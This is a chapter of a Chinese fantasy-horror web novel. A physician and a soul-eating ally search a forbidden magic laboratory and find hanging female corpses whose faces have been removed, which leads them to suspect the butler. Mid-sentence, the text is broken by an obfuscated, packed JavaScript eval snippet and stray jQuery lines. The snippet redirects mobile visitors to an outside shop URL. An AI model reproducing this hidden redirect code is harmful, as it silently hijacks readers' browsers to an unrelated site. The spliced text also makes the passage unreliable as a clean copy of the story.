在魔法实验室的大厅,解释完关于指头的疑问后,露西妮可立刻疾步朝旋转楼梯跑去,直上二楼露台。
此时,珮帧心中涌起一股莫名的预感。她迅速打开系统面板,只见医疗箱的药方栏中,“被腐蚀凝冻封印的魂魄”几个字闪了一下。看来她们运气不错,这一味关键的药材,就在这个神秘的魔法实验室中。
没过多久,露西妮可从旋转楼梯上快步走下,将那朵金色风车凌霄花轻轻交到珮帧手中。
珮帧目光紧紧锁定在那朵花上,它比寻常的风车凌霄更为硕大,微微散发着金色的光芒。她点点头,小心地将这朵花放入藤制药篓中。
时值深夜时分,两人又进入被明令禁止入内的魔法实验室,珮帧压低声音,轻声说:“我们现在要找到‘被腐蚀凝冻封印的魂魄’,根据提示,它应该就在这间魔法实验室的某个角落。”
经过简短的商量,她们在大厅内细致地搜寻了一番,然而并没有发现任何相关迹象。于是,两人决定分别探索两侧的过道,以期能够找到线索。珮帧选择了左侧的过道,而露西妮可则前往右侧的过道。
珮帧手持露西妮可交给她的魔法灯,在左侧的过道中逐一推开房门。但每一间房间都只有布满尘埃的桌椅和魔法实验器材,除此之外,没有任何特殊发现。
她抬头望向过道最远端的那间房间,那里的房门微微敞开,仿佛有人匆匆离开时忘记关紧。思索半晌,珮帧朝那边走去。
“吱呀——”
随着门被缓缓推开,珮帧举起魔法灯照进屋内。月光从爬满风车凌霄的窗户缝隙中洒落,将屋子里的光影切割成零碎的小块。这间屋子相较于其他房间要干净许多,似乎近期被打扫过。实验桌和椅子摆放得井井有条,桌上放着一些魔法器皿和标本。
珮帧抬头向上望,除了天花板层高更高得多,这个房间并无特别之处。珮帧仔细搜索了房间的每一个角落,不敢有丝毫的疏忽。
过了一会,如同探索过的其他房间一样,一无所获。
珮帧准备关门离开,手刚触碰到门把手,目光却突然被角落里的异象吸引。那里的月光犹如聚光灯般明亮,刺眼地照亮了那片原本应该笼罩在阴影下的区域。
她正欲前往查看,露西妮可背着丈夫匆匆赶来,对她摇了摇头,示意没有找到类似有魂魄波动的物品。
珮帧指向那处本应是阴影却洒满月光的地方,两人对视一眼,默契地点了点头,一同走向那个角落。
就在她们接触到那道月光的瞬间,顶部的天花板突然反转,“轰”的一声巨响,屋内顿时陷入更黑的黑暗。
珮帧下意识地抬头,并迅速举起魔法灯。在微弱的灯光映照下,她看到了那些让屋子变得更漆黑的东西。
屋顶上,一具具干尸悬垂而下,几乎全是女性。她们的脚在珮帧头顶不远处摇摇晃晃,仿佛一串串人型腊肉。月光从裂缝中透入,照在她们身上,斑驳的影子随着摇晃的脚,让人产生一种她们还活着的错觉。最令人毛骨悚然的是,她们原本应该是脸部的位置,全部都被挖掉了,只剩下一个个深陷的凹坑,看起来既惊悚又诡异。
珮帧被突然出现的恐怖景象震惊得无法动弹,她双眼圆睁,目光如被无形的磁铁牢牢吸附,一瞬不瞬地盯着那些脸部的凹坑。不知道为什么,泽维尔之前的那句话突然像幽灵般在耳际回荡:“接近我的女性都会遭遇不幸,死亡都算是最轻的遭遇。”
直到这一刻,佩帧才意识到自己想要尖叫,她手一松,魔法灯“啪”地一声掉落在地面,她强行捂住自己的嘴,生怕自己叫出声来。
露西妮可也露出了惊讶的表情。身为摄魂鬼一族,她只以灵魂为食,从不进行无谓的虐杀。即便是为了监视泽维尔,她和赫尔曼也只是暂时占据了他叔婶的躯壳,而不是杀死他们。
空气中弥漫着腊肉味、尸臭和从窗户飘进来的风车凌霄的淡淡香气,这些气味交织在一起,形成了一种难以名状的恶臭。
同为女性,珮帧心中涌起一股物伤其类之感。她紧闭双目,太阳穴突突跳动,强烈的干呕感让她眼角沁出泪液,弯下腰紧紧捂着嘴巴,努力忍耐着不适。
她突然回想起彼得丁的话,那位老男爵会进行一些神秘的魔法实验。难道指的就是眼前这诡异的景象吗?这些……难道都与老男爵或泽维尔有关吗?还是他们知道这一切,却默许了它的发生?
珮帧此时才惊觉,自己对泽维尔的过去和来历几乎一无所知。她曾经无条件地相信他,只因为他们在薰衣草花田中相遇、相恋。他看起来是那么美丽、脆弱,让珮帧心生怜爱。此时眼前的景象却让她开始怀疑自己的信任是否太过轻率。
不,她摇了摇头,脸色苍白地紧闭着双眼。泽维尔本身病痛缠身,或许他就算知道这些,也没有能力去阻止。在事情没有弄清楚之前,她不能随意怀疑泽维尔,那将是对过去那些爱意和信任的亵渎。
她睁开眼睛,抹去眼角的泪痕,艰难地对露西妮可说道:“魔法实验室被封闭的理由,就是这个吗?……与老男爵和……泽维尔有关吗?”
“你是指这个吗?”露西妮可指着屋顶,不解地问道。
珮帧深吸一口气,将泽维尔之前的话转述给露西妮可听。她的声音中带着一丝颤抖,显然情绪波动很剧烈。
露西妮可凝视着那些干尸,片刻后她缓缓摇头,指着其中两具说:“至少这两具,绝不是精灵所为。不,就算是其他那些,他也没有能力造成。”
这句话几乎拯救了佩帧,她急急问道:“请告诉我你这样判断的理由。”
露西妮可指着的,是两具比较新的男性干尸。“这两名园丁,因为盗窃财物,被精灵责罚,”她解释道,“当时我和赫尔曼也在场,他们被精灵打至重伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206867|150980||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。之后,管家吩咐给他们治疗,然后再将他们赶出别馆。”
珮帧恍然,原来梅香曾对她提及的“十天内死了两个人”,指的就是他们。“那后来呢?”她追问道。
“由于管家的权限很大,而我们只是冒名顶替的身份,目的在于监视精灵,”露西妮可继续说道,“其他事情,我们不便多管闲事。所以,后来就没再关注这件事。”
“但大宅内的仆人们却突然私传他们俩被精灵打死了。可是我记得很清楚,”露西妮可补充道,“管家把他们送出别馆的那天,他们还活着。而且,那时候精灵已经因为头痛症卧床不起了,赫尔曼一直在看顾他,他不可能动手。”
“至于其他的……你稍等。”露西妮可突然飘到那些干尸丛中,双眼快速转动,嘴里念念有词。紧接着,珮帧看到很多具干尸身上冒出星星点点浑浊的绿白色光斑来,并且发出尖锐地嘶吼声,令人毛骨悚然。珮帧捂着耳朵,只见露西妮可用手一抓,迅速抓下一把光斑来。她跃下地面,把手里的光斑展示给珮帧看。
“这是……”珮帧不解地问道。突然,她心一动,打开系统面板,看到医疗箱的药方里,“被腐蚀凝冻封印的魂魄”一行字闪闪发光,她意识到最后一味药材终于找到了。她接过那一把浑浊绿色光斑,小心翼翼地把它也放进药篓里。
露西妮可叹息着,眼中闪过一丝复杂的情绪:“珮帧医生,作为摄魂鬼一族,我们的生存依赖于纯净的灵魂。噬魂大阵是我们的首次狩猎,是用来吸收精灵纯净魂魄的古老魔法。这个魔法要求被吸收的灵魂必须毫无瑕疵,否则大阵就会失效,甚至反噬我们自身。”
听到“首次狩猎”这个信息,珮帧突然明白了噬魂大阵当晚,露西妮可和赫尔曼业务能力为何如此不专业的原因了。
顿了顿,露西妮可继续说道:“精灵若是做出了凝冻封印干尸灵魂的行为,那么他的灵魂便会受到污染,变得不再纯净。而一旦他的灵魂被污染,我们在发动噬魂大阵时就能立刻察觉。因为噬魂大阵对灵魂纯净度的要求极高,任何一点瑕疵都无法逃过它的感知。退一万步说,就算他想做,我们每天都盯着他的灵魂,不会允许这样的事情发生。”
换言之,作为泽维尔灵魂曾经的加害者的露西妮可和赫尔曼,反而成了证明他清白的最佳证人。
但她还是有疑问,泽维尔要是不清楚这件事情,为什么会告诉她,接近他会有危险?还是说,他曾经知晓这件事,但是不便明说?或者,因为间歇性失忆,他模糊记得关于女性接近他会招致不幸的记忆,但是不记得详细情形?
但是,这些都得亲自问他才能知道答案。
那么,这些干尸被谁弄成这样的?
珮帧的目光扫过那些干瘪的尸体,突然她的眼神凝固了。她迅速收回视线,紧盯着露西妮可,语气中充满了紧张:“你能记住管家的脸吗?”